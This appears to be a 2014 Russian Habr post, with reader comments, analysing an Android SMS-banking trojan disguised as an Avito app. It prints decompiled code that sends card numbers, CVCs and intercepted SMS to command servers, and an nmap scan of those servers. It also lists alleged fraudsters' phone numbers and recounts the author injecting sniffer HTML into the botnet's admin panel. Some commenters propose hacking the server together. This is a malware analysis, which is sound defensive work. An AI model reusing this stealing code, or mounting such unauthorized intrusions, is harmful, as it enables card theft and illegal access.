Пользователь
110,5
рейтинг
27 августа 2014 в 00:58

Разработка → Как я позорно деактивировал ботнет

image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.

Дальнейшее исследование


В СМС пришла коротка ссылка, которая развернулась в ссылку на сервер i-avito.com. Просканировав этот сервер через nmap, я получил еще один домен deskdistributor.com, который был в title на 443-порту.
Результат сканирования nmap
Starting Nmap 6.47 ( nmap.org ) at 2014-08-25 17:17 MSK
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 17:17
Scanning i-avito.com (91.237.198.115) [2 ports]
Completed Ping Scan at 17:17, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:17
Completed Parallel DNS resolution of 1 host. at 17:17, 0.00s elapsed
Initiating Connect Scan at 17:17
Scanning i-avito.com (91.237.198.115) [1000 ports]
Discovered open port 22/tcp on 91.237.198.115
Discovered open port 993/tcp on 91.237.198.115
Discovered open port 80/tcp on 91.237.198.115
Discovered open port 3306/tcp on 91.237.198.115
Discovered open port 143/tcp on 91.237.198.115
Discovered open port 110/tcp on 91.237.198.115
Discovered open port 21/tcp on 91.237.198.115
Discovered open port 53/tcp on 91.237.198.115
Discovered open port 25/tcp on 91.237.198.115
Discovered open port 443/tcp on 91.237.198.115
Discovered open port 587/tcp on 91.237.198.115
Discovered open port 995/tcp on 91.237.198.115
Discovered open port 2222/tcp on 91.237.198.115
Completed Connect Scan at 17:17, 3.42s elapsed (1000 total ports)
Initiating Service scan at 17:17
Scanning 13 services on i-avito.com (91.237.198.115)
Completed Service scan at 17:17, 19.97s elapsed (13 services on 1 host)
NSE: Script scanning 91.237.198.115.
Initiating NSE at 17:17
Completed NSE at 17:18, 19.50s elapsed
Nmap scan report for i-avito.com (91.237.198.115)
Host is up (0.094s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.4b
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 59:e1:13:d2:a5:e5:bd:50:27:b7:08:8e:d7:42:8d:24 (DSA)
| 2048 c3:23:b1:6e:fd:ce:b5:76:5d:2b:32:8a:47:61:d7:44 (RSA)
|_ 256 c4:36:5f:c3:31:1d:e1:60:70:b2:4e:9b:8e:3e:d1:79 (ECDSA)
25/tcp open smtp Exim smtpd 4.76
| smtp-commands: s.ee Hello i-avito.com [95.215.45.33], SIZE 20971520, PIPELINING, AUTH PLAIN LOGIN, STARTTLS, HELP,
|_ Commands supported: AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
| ssl-cert: Subject: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Issuer: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2011-07-19T08:56:59+00:00
| Not valid after: 2038-12-03T08:56:59+00:00
| MD5: 7ca0 14bc e517 e437 b49c aca7 17cc fbc6
|_SHA-1: 77bc fd19 856a a562 f719 604a 0461 2093 b012 5405
|_ssl-date: 2014-08-25T13:18:58+00:00; +1m10s from local time.
53/tcp open domain
| dns-nsid:
|_ bind.version: 9.8.2rc1-RedHat-9.8.2-0.23.rc1.el6_5.1
80/tcp open http Apache httpd 2
|_http-methods: No Allow or Public header in OPTIONS response (status code 302)
| http-title: 404 Not Found
|_Requested resource was 91.237.198.115/avito.apk
110/tcp open pop3 Dovecot DirectAdmin pop3d
|_pop3-capabilities: UIDL RESP-CODES USER AUTH-RESP-CODE TOP SASL(PLAIN) CAPA PIPELINING STLS
143/tcp open imap Dovecot imapd
|_imap-capabilities: post-login have LOGIN-REFERRALS ENABLE ID IDLE IMAP4rev1 Pre-login more AUTH=PLAINA0001 LITERAL+ OK SASL-IR capabilities listed STARTTLS
443/tcp open ssl/http Apache httpd 2
|_http-methods: OPTIONS GET HEAD POST
|_http-title: Secured Home of deskdistributor.com
| ssl-cert: Subject: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=US
| Issuer: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=US
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2014-06-27T11:21:26+00:00
| Not valid after: 2041-11-11T11:21:26+00:00
| MD5: 5987 e508 bab7 b23c 16a7 2822 53f5 2ae2
|_SHA-1: d6f2 1c00 dcea f10c c049 02ed 2058 0376 619d eb60
|_ssl-date: 2014-08-25T13:18:57+00:00; +1m09s from local time.
587/tcp open smtp Exim smtpd 4.76
| smtp-commands: s.ee Hello i-avito.com [95.215.45.33], SIZE 20971520, PIPELINING, AUTH PLAIN LOGIN, STARTTLS, HELP,
|_ Commands supported: AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
| ssl-cert: Subject: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Issuer: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2011-07-19T08:56:59+00:00
| Not valid after: 2038-12-03T08:56:59+00:00
| MD5: 7ca0 14bc e517 e437 b49c aca7 17cc fbc6
|_SHA-1: 77bc fd19 856a a562 f719 604a 0461 2093 b012 5405
|_ssl-date: 2014-08-25T13:18:57+00:00; +1m10s from local time.
993/tcp open ssl/imap Dovecot DirectAdmin imapd
|_imap-capabilities: have LOGIN-REFERRALS ENABLE ID IDLE IMAP4rev1 Pre-login more AUTH=PLAINA0001 LITERAL+ post-login SASL-IR capabilities listed OK
| ssl-cert: Subject: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Issuer: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2011-07-19T08:56:59+00:00
| Not valid after: 2038-12-03T08:56:59+00:00
| MD5: 7ca0 14bc e517 e437 b49c aca7 17cc fbc6
|_SHA-1: 77bc fd19 856a a562 f719 604a 0461 2093 b012 5405
|_ssl-date: 2014-08-25T13:18:57+00:00; +1m10s from local time.
995/tcp open ssl/pop3 Dovecot DirectAdmin pop3d
|_pop3-capabilities: AUTH-RESP-CODE SASL(PLAIN) CAPA TOP UIDL RESP-CODES PIPELINING USER
| ssl-cert: Subject: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Issuer: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2011-07-19T08:56:59+00:00
| Not valid after: 2038-12-03T08:56:59+00:00
| MD5: 7ca0 14bc e517 e437 b49c aca7 17cc fbc6
|_SHA-1: 77bc fd19 856a a562 f719 604a 0461 2093 b012 5405
|_ssl-date: 2014-08-25T13:18:57+00:00; +1m09s from local time.
2222/tcp open http DirectAdmin httpd 1.33.6 (Registered to superb)
|_http-favicon: Unknown favicon MD5: 3AE13A3A9C0634B29A2667DCFFC69D87
|_http-methods: No Allow or Public header in OPTIONS response (status code 404)
|_http-title: DirectAdmin Login
3306/tcp open mysql MySQL 5.5.31
| mysql-info:
| Protocol: 53
| Version: .5.31
| Thread ID: 63436701
| Capabilities flags: 63487
| Some Capabilities: SupportsLoadDataLocal, Speaks41ProtocolNew, Speaks41ProtocolOld, SupportsTransactions, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, FoundRows, SupportsCompression, DontAllowDatabaseTableColumn, InteractiveClient, Support41Auth, ODBCClient, IgnoreSigpipes, LongPassword, LongColumnFlag
| Status: Autocommit
|_ Salt: ![,d7#H«o.2Q»T^^?]9B
Service Info: Host: s.ee; OS: Unix

NSE: Script Post-scanning.
Initiating NSE at 17:18
Completed NSE at 17:18, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at nmap.org/submit.
Nmap done: 1 IP address (1 host up) scanned in 43.49 seconds

Быстрый поиск в интернете дал еще несколько доменов: m-avito.com, m-avito.net (176.119.3.51), m-avito.info (91.237.198.115), а поискав по whois-данным, нашел еще один подозрительный домен 1host.name (94.242.227.67), который представляет из себя скорее заглушку, нежели информационный сайт. Сам вирус обращается к домену jewelrycover.com (91.237.198.124), который, вероятно, был либо перекуплен, либо администратор ботнета завладел им с помощью фишинга.

После исследования pcap-файлов, полученных из sandbox'ов и собственноручно, я обнаружил полную ссылку на CnC и формат получаемых и отправляемых на сервер данных. Мобильное устройство с каким-то временным интервалом обращалось на скрипт get.php, каждый раз передавая свой ID, созданный путем подсчитывания MD5-хеша от IMEI, страны, названия телефонного оператора, версии Android и модели телефона, а в ответ либо получало, либо не получало команду. Если устройством была получена какая-то команда, на сервер отправлялось уведомление по адресу set_result.php с ID устройства и названием команды. Скрипту load_sms.php отправлялись все входящие СМС.

На момент исследования вируса, он был настроен на похищение денег клиентов Сбербанка с использованием мобильного СМС-банкинга, и только один раз я получал от сервера команду на отправку ссылки на вирус первому попавшемуся адресу из адресной книги устройства.

Первым делом, сервер посылал команду rent&&&, чтобы получать все приходящие на устройство СМС-сообщения. Затем отправлялось сообщение ИНФО на номер 900 — номер мобильного банка Сбербанка. На сервер передавалась информация о картах клиента. Затем, сервер отправялял команду sent&&& с запросом баланса о каждой карте. Далее отправлялась команда либо на перевод денег на счет сбербанка (8000 рублей), либо на пополнение счета абонентам МТС (3000 рублей).

В целом, происходило то, что было описано в недавней статье про способ воровства денег клиентов Сбербанка, но автоматизированно.
Другие команды сервер не посылал. Если сервер получал ответ на запрос ИНФО, что обладатель устройства не является клиентом Сбербанка, дальнейших ответов от сервера не поступало.
Пример общения с сервером
image
image
image
image
image


Веселье


Я написал небольшой скрипт, который эмулирует поведение бота. И как-то в голову закралась мысль, что, с большой вероятностью, в панели администратора имеются уязвимости. Никаких SQL-инъекций мне найти не удалось, и я решил вставлять картинку-сниффер во все передаваемые значения: в имя оператора, в название модели устройства, в уведомление о выполненной команде, в текст смс, ну вы поняли. Ничего не происходило.

Я запустил скрипты в цикле с целью собрать побольше номеров телефонов злоумышленников.
Номера злоумышленников
Номера Сбербанка:
9687792866 8000
9050391955 8000
9061153023 8000
9663455177 8000
9050253473 8000
9672215694 8000
9663455125 8000
9663455180 8000
9050384603 8000
9687792852 8000


Номера МТС:
9877251451 3000
9877251519 3000
9877298049 3000
9877299230 3000
9877298819 3000
9877298775 3000
9818915169 3000
9877299466 3000
9117187631 3000
9877251259 3000
9873389680 3000
9198360569 3000
9873389735 3000
9873389737 3000
9873389766 3000
9877251151 3000
9198227849 3000
9877251169 3000
9877251851 3000
9877251136 3000
9877251226 3000
9877251227 3000
9877154758 3000
9877154761 3000
9877154752 3000
9877154756 3000
9818895780 3000
9818742776 3000
9818740837 3000
9818770491 3000
9877154765 3000
9877154825 3000
9818742764 3000
9877154773 3000
9818894379 3000
9818770342 3000
9818770523 3000

Я продолжал сканирование серверов и поиск уязвимостей. Нашлись phpmyadmin и squirrelmail, однако, уязвимостей в них найти не удалось. И тут, совершенно случайно, сервер упал. Страницы не открывались, пинги не шли. Я открыл сниффер, и что же я вижу!?

image

Случилось это на два часа раньше отключения сервера. Если бы я мониторил сниффер чаще, я бы получил доступ к панели администратора, т.к. сниффер словил и referer, который вел на нее. Вероятнее всего, какие-то данные экранировались, а какие-то — нет, и администратор, увидев экранированные данные и поняв, что его IP скомпрометирован, решил ретироваться.

Так я позорно деактивировал ботнет. Можете официально меня гнобить и унижать.

P.S.


Номера мошенников переданы службе безопасности Сбербанка, IP-адрес передан службе безопасности Beeline, хостерам написаны abuse.
Сам троян, еще один, исходный код, pcap-файлы и результаты nmap бесплатно без смс.
Влад @ValdikSS
карма
594,2
рейтинг 110,5
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (143)

  • +54
    А по мне — отличная работа!
    • +3
      Даже более чем, думаю если хозяин ботнета не читает хабр, то осенняя паранойя ему гарантирована.
  • +20
    Самая интересная часть про общение со сбербанком — пропущена.
    • +42
      Сначала звонили на номер поддержки, там нам ничего вменяемого не сказали, взяли наш номер телефона и (вероятно) не перезвонили. Затем, один знакомый через другого знакомого нашел прямые номера службы безопасности, мы позвонили туда и обрисовали ситуацию. Дальнейшее общение велось по почте, с очень быстрыми ответами и довольно позднее, явно нерабочее, время. Очень доволен отделом безопасности Сбербанка, они действительно работают. Сразу начали искать обо мне информацию :)
      • +33
        Но в целях безопасности скрывают свои телефоны.
        • +109
          «Однажды вечером в нашей службе спасения раздался тревожный звонок. Операторы забеспокоились и решили не отвечать» (й)
      • 0
        Прошу прощения за небольшой флуд, но могли бы Вы их спросить (если это возможно) о максимальной длине пароля от онлайн банкинга «Сбербанк онлайн»? Сейчас стоит от 6 до МАКСИМУМ 10 символов. Почему такое ограничение стоит у них по длине пароля?
        Я не смог пробить службу поддержки и выйти на безопасников. На вопрос «почему 10 символов», мне ответили «сейчас максимальная длина пароля 10 символов».
        • +1
          Это вы еще Телебанком от ВТБ24 не пользовались. Там до 6 строго цифр.
          • 0
            К счастью нет:
            Требования к паролю: от 6 до 20 цифр, не менее 3-х различных цифр,
            не допускается введение подряд одной и той же цифры, не должен совпадать с УНК/логином.


            Но только одни цифры всё равно доставляют.
            • 0
              О, изменили уже, похоже. По крайней мере, мой текущий пароль имеет подряд две цифры.
            • +8
              Меня всегда удивляло правило «не допускается несколько одинаковых символов подряд». Ведь если рассуждать с точки зрения банального перебора (а в случае других видов взлома не важно какой стоит пароль), получается что введением этого правила мы только уменьшаем число возможных вариаций. Но при этом его отсутсвие ни как не облегчает перебор (мы же не знаем использовал ли польвователь повторяющиеся символы, а значит должны перебрать пароли как с ними так и без них).
              • 0
                Видимо, это защита от 11111111, 22222222 и т.д., которые проверяются впервую очередь по словарю
                • +1
                  А не вариант просто пароль по словарю проверять? Если нашлось — не давать использовать.
                  • +8
                    «Извините, этот пароль уже используется пользователем misha81».
                    • +7
                      Примерно так, как было у моего провайдера?
                      image
                      • 0
                        Пушка просто
                      • –1
                        Я думал это шутка такая.
                        • 0
                          На самом деле это действительно шутка.
                    • 0
                      Это запатентовано только в пределах США. Во всем остальном просвещенном мире (Европа, Япония, Австралия, и т.д.) эти патенты не действительны.
                • +1
                  Защита от 11111, после которой пользователь, напрягая мозг, вбивает 12345 или qwerty, радуясь, какой у него уникальный пароль.
            • +7
              Чтоб два раза не вставать. Граждане из Альфа-Банка, если вы случайно будете здесь это читать, вырвите себе волосы на головах и задницах.

              Среди ваших клиентов не только девочки с гуманитарным образованием. Я, например, пароль без спецсимволов просто физически не могу запомнить :) Профессиональная деформация, сразу забываю! :)

              image
              • +1
                одинарной и двойной кавычек нет, квадратные и фигурные скобки, апостроф, тильда… дааа… фигово набор исключений проработали.
                В конце-концов клавишей ALT и цифровой клавиатурой можно ввести специфический символ, с кодом '0176' например.
        • 0
          чтобы злоумышленникам было проще подбирать
        • +1
          в базе что-нибудь типа varchar(10)
          • +1
            да, в открытом виде хранить…
          • 0
            А разве он не должен быть в каком-нибудь хеше?
            • +1
              Никто не мешает… это на совести разработчика.
        • 0
          Странно мы с вами говорим про Сбербанк онл@йн или где там у них собака. Мой пароль больше чем 10 символов. Возможно они недавно для новых паролей такое сделали?
          • +2
            Вам повезло =)

            Ответ Клиенту:
            Уважаемый Михаил Игоревич!
            ОАО «Сбербанк России», рассмотрев Ваше обращение, сообщает следующее.
            Сбербанк России обеспечивает необходимый уровень безопасности операций.
            Безопасность наших систем постоянно совершенствуется с учетом актуальных
            рисков и угроз. Рекомендуем Вам ознакомиться с мерами безопасности при
            использовании банковской карты по адресу:
            sberbank.ru/moscow/ru/person/dist_services/electronic_savings_bank/warning/.

            В настоящее время система «Сбербанк ОнЛ@йн» реализована именно таким
            образом и возможность ввода пароля, состоящего более чем из 10 символов, не
            предусмотрена.
            Благодарим Вас за проявленный интерес к услугам Сбербанка России. Все
            предложения учитываются и принимаются во внимание. Надеемся на дальнейшее
            сотрудничество.
            • 0
              Это странно. У меня пароль 16-символьный, и он работает.
              В какой-то момент в сбербанке появилась реклама новой опции — ввести свои собственные логин и пароль вместо выданных банкоматом вместе с одноразовыми паролями. Я ей воспользовался.
              Возможно, сейчас эту опцию отключили, а старые пароли остались
              • 0
                В ICQ в году 2006-ом, я менял пароль на 10 символьный. Но как оказалось, принимаются только первые 6 символов, соответственно мой 10-ти символьный пароль принимался, но все символы после 6-го символа могли быть абсолютно любые и пароль принимался на ура.
                • 0
                  8 символов принимаются.
                • +2
                  Такая штука была раньше в линуксе, когда он принимал пароль любой длины, но для хеширования брал то-ли 8, то-ли 16 первых символов. Это было еще лет 12 назад… И я пару раз прикалывался над ребятами вводя в течении 3х минут пароль, а они удивлялись как такой пароль вообще возможно запомнить :)
                  • 0
                    Это ещё в Win95 было.
                • 0
                  Я тоже подумал о такой возможности и проверил — ошибка в последнем символе пароля делает его недействительным.
          • 0
            Интересно, а длинна пароля валидируется только js в браузере?
      • +5
        Сразу начали искать обо мне информацию

        Похоже, ни одно доброе дело не остается безнаказанным )
  • 0
    Правильно ли я понял, что владелец ботнета случайно прошел по ссылке на сниффер из админки, понял это и решил на всякий случай отключить сервер, обслуживающий ботнет?
    • +2
      Нет. Видимо, если я правильно понимаю, в каком-то поле данные не экранировались, и браузер попытался загрузить картинку (сниффер был вставлен через img src), а какие-то экранировались, поэтому, увидев жуткие img src в данных и поняв, что его IP скомпрометировали, администратор выключил сервер.
      • 0
        Понятно. Странно, что Windows, сервер в РФ и сам не за тором. Возможно, симки тоже не анонимные. Интересно, кто же он.
        • 0
          Я звонил по номеру, с которого мне прислали СМС, но он уже заблокирован. Сейчас попробую позвонить по всем остальным награбленным номерам.
          • +5
            Как я понял, СМС приходит от других жертв, а не от злоумышленника. Наверное, человек, с чьего аппарата Вам пришло СМС, заметил пропажу денег и заблокировал свой номер. До чего же интересно может получиться, если пройти по спам-ссылке. Хорошая работа!
            • +1
              Кстати, иногда переход по спам-ссылке может активировать контент-подписку (что может повлеч ВНЕЗАПНОЕ списание денег). При чём, id в ссылке привязан к номеру, и не важно, с какого девайса будет открыта ссылка. В интернетах даже были описаны случаи, помнится.
        • 0
          А знаете, я сейчас подумал, может и вручную перешел, даже это наиболее вероятно, т.к. запись в сниффере была только одна. Но, хм, откуда тогда реферрер.
          • 0
            Изображение могло и закешироваться, отсюда одна запись. Вам надо было не забыть правильный хедер для таких случаев отдавать :)
            • 0
              Кажется, использовался простой сниффер 2ip.ru/strange-ip
              Если вручную такую штуку делать, то в довесок можно код начинить JavaScript-эксплоитами для обхода прокси, например. Помнится, таким эксплоитом силовики травили пользователей Silk Road.
      • +1
        Не факт, что он понял именно факт компрометации его IP, просто увидел что сервер щупают и поспешил ретироваться.
        • +4
          Так, сервер ожил.
          • +3
            Теперь статья не соответствует заголовку :(
          • +78
            Администратор сервера прочитал статью :)
            • +12
              Возможно, он её даже прокомментировал?)
              • +7
                Верни мои 6000 гад!
          • 0
            Чую скоро ляжет обратно, на этот раз от хабраэффекта
      • +1
        А почему не script с угоном кук? И вообще, скрипт же гораздо круче: его можно и поменять в дальнейшем, и на странице как незагрузившаяся картинка он не палится (хотя тут по-разному бывает).
        • 0
          Если картинку все-таки отдавать, но размера 1х1 — то она тоже не будет палиться.
          • –1
            Но она будет палится там где экранируются тэги.
            • +2
              Если теги экранируются, то скрипт тоже спалится.
  • +3
    Что есть sandbox, в котором можно декомпилить приложение?
  • +17
    Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что

    Все проще, автор ботнета — дебил. Говорю вам как человек у которого есть опыт взлома командных центров мобильных ботнетов как раз-таки Android'ных малварь. Не знаю почему так, но судя по ужасному коду и совершенно дурацким уязвимостям в бэкэндах C&C, которые я видел, эти ботнеты пишут семиклассники у которых троечка по информатике. Того уровня сложности и красоты кода, который встречается в малварях для PC — тут и близко нету.
    • +35
      Давайте взламывать вместе! Сервер поднялся.
      • +13
        Сейчас отпишусь в личку :)
      • +2
        Кстати, не будет ли взлом этого сервера считаться нарушением, если его будут производить рядовые пользователи? Не помешает ли это построить обвинение против администратора сервера, если он будет найден?
        • +1
          Кстати, не будет ли взлом этого сервера считаться нарушением, если его будут производить рядовые пользователи?
          Какая разница?

          Не помешает ли это построить обвинение против администратора сервера
          Зачем?
          • +6
            Какая разница?
            В некоторых случаях доказательства признаются недопустимыми. Например, если были добыты с нарушениями. Это не лишено смысла: теоретически, вдруг пользователи, которые проводили взлом, и «подбросили» на сервер все улики, включая логи с входами владельца?

            Зачем?
            Если владельцы ботнета украли немало денег, хорошо было бы по крайней мере эти деньги вернуть законным владельцам. Будет обидно, если владельцев сервера найдут, но их придется отпустить из-за недопустимых доказательств.
            • –15
              Моралист. ;P
            • 0
              Если абузу хостеру отправили, то разве хостер не должен, заблокировав аккаунт мошенника, держать в сохранности все логи сервера и бекап файлов, которые в любой момент могут потребовать правоохранительные органы?
              • +1
                Обычно такие вещи хостят на абузоустойчивых серверах.
            • 0
              А если они украдут ещё больше денег, а вернуть их и после суда не удастся?
      • +8
        Подписался на апдейты статьи. Вы отписывайтесь периодически, очень интересно узнать что ещё накопаете ))
      • 0
        добавил в скайп.
  • 0
    Очень интересно.

    А не могли бы статейку накидать про эти ваши картинки-снифферы? А то я что-то в основном всё больше поверхностную информацию нахожу.
    • +9
      Когда человек загружает браузером админ-панель контроллера ботнета, в ней, в случае успешной HTML-инъекции, будет отображена картинка, которая будет скачана по URI, указанному в аттрибуте src тега img. Картинку можно поместить на такой HTTP-сервер, который будет логгировать все запросы к ней, включая IP-адрес и HTTP-заголовки, такие как User-Agent и Referer.
      • +2
        Либо, как более функциональный вариант, разместить на своем сервере требуемый PHP скрипт с расширением .jpg/.png/..., а через htaccess сменить назначение расширения и сделать такие файлы исполняемыми файлами PHP в директории. В таком случае неподозревающему пользователю можно даже выдавать настоящую картинку через GDlib, а между тем выполнять то, что нам надо.
        Такой вариант чуть сложнее, но дает много возможностей.
        • +3
          Не вижу отличий между тем, что написали вы, и что написал dbanet
          • 0
            @dnabet предложил использовать логи доступа к файлу на сервере, в которых действительно можно сохранять и User-Agent, и Referer, и другие вещи. Я предложил использовать PHP скрипт внутри псевдокартинки.

            Мой способ, помимо прочего, позволяет организовать какие-нибудь автоматические уведомления администратора, сохранение данных о скачавших картинку в нужном формате и в отдельную БД, персонифицировать выдаваемое изображение и т.д. и т.п., возможностей очень много.
            • +2
              PHP-скрипт — это часть серверного ПО. Сохранение данных о скачавших картинку в нужном формате и в отдельную БД — это разновидность логгирования. Персонифицировать выдаваемое изображение нет смысла — поскольку оно, вероятнее всего, будет показано лишь одному человеку.
  • 0
    Хехе, мне такого пытались подсунуть, и тоже ключевым словом был «обмен». Но я глубоко копать не стал, ибо в Java «чайник».
  • +21
    Нажимая на ссылку, жертва этого ботнета ожидает увидеть своё объявление на авито. Вместо этого (или вместе) ей предлагается — внезапно! — скачать приложение, разрешить установку apk, установить apk и согласиться на все допуски типа «чтение смс». Как этот ботнет вобще размножается?!
    • +102
      «Ok», «Ok», «Ok», «Далее», «Готово»
    • +32
      Не стремитесь понять логику людей установивших малаварь, я бы даже сказал радуйтесь, что не понимаете.
    • +11
      «Здравствуйте, вы получили вирус по емейлу. Поскольку сами мы такой код писать еще не умеем — пожалуйста, перефорвардите этот емейл по всем адресам в вашей адресной книге, после чего отформатируйте ваш хард-драйв. С уважением, группа таджикских хакеров.»(с)
      • +5
        По древней фидошной версии всё-же — молдавских )
  • +18
    Мне каждый раз не по себе когда я вижу что хотят всякие приложения для андройда, даже самые простые.
    А уж всякий скайпы, вайберы или вообще «фонарик» которым и положение и контакты и смс подавай — это просто за гранью.
    Если бы ещё можно было выбирать что давать а что нет, я бы спокойней относился.

    Поэтому принципиально не совмещаю андройда и звонковую часть в одном аппарате.
    На планшет плевать: там никогда не бывает паролей от чего то в инете, нет симки вообще, вообще ничего ценного, сдохнет/засорится — перешью на крайняк.
    • +4
      XPrivacy даёт возможность выбирать, что разрешать, а что нет.
      • 0
        А что произойдет, если приложение запросит не разрешенное ему действие? Стандартное исключение, или сообщение от этой программы?
        Наверное это слишком power-user решение, потому что чтобы осмысленно разрешить какое-то действие, нужно понимать его изнутри. Вот и приходится простым пользователям безвольно соглашаться с любыми запросами привилегий :-)
        • 0
          В идеале будет то же, что и если вы выключите (Mobile\ Network|GPS|WiFi) в опциях андроида. То есть ничего страшного, почти все и так будет работать.
        • +2
          XPrivacy также позволяет задавать разрешения на группы задач (интернет, контакты, идентификация и так далее). Спрашивает каждый раз, когда новое приложение запрашивает значение.
          И, если ен ошибаюсь, в случае, когда что-то запрещено в XPrivacy, приложению отправляются пустые данные.
          К тому же, для каждого приложения можно создать фейковое окружение (серийник устройства, gps координаты, имеи), которое опционально может обновляться (случайными значениями) при каждом запуске приложений.
      • +1
        И Android Tuner, мне он больше нравится, и функциональность у него куда выше.
      • +1
        В CyanogenMod такая фича идёт в комплекте.
      • 0
        Спасибо за ссылку — давно ищу работающее приложение с такой функциональностью.
        Такой вопрос — после установки Xprivacy, при первом запуске после «проверки рута, разрешения установки из неизвестных источников, создания полного бекапа» дошел до пункта «2.Xposed». Необходимо скачать/установить Xposed. Что это такое, для чего нужно его устанавливать и почему установка идет не из «известного источника — Гугла», а с dl.xposed.info?
        Спасибо.
        Оффтопик: прошу еще посоветовать реально работающее приложение для переноса приложений на SD карту. Пока ни одна из опробованных прог не смогла перенести на карту даже «Фонарик»…
        • +1
          Xposed это такой framework для встраивания приложений внутрь Android. Грубо говоря, он всякие хуки вешает и позволяет патчить java-код на лету. Если у вас телефон с процессором MTK, да даже есть и нет, рекомендую плагин GravityBox к Xposed, он позволяет очень сильно кастомизировать устройство и включить очень полезные функции.
          • 0
            Для MTK, как мне кажется, лучше использовать Mobileuncle.
            • 0
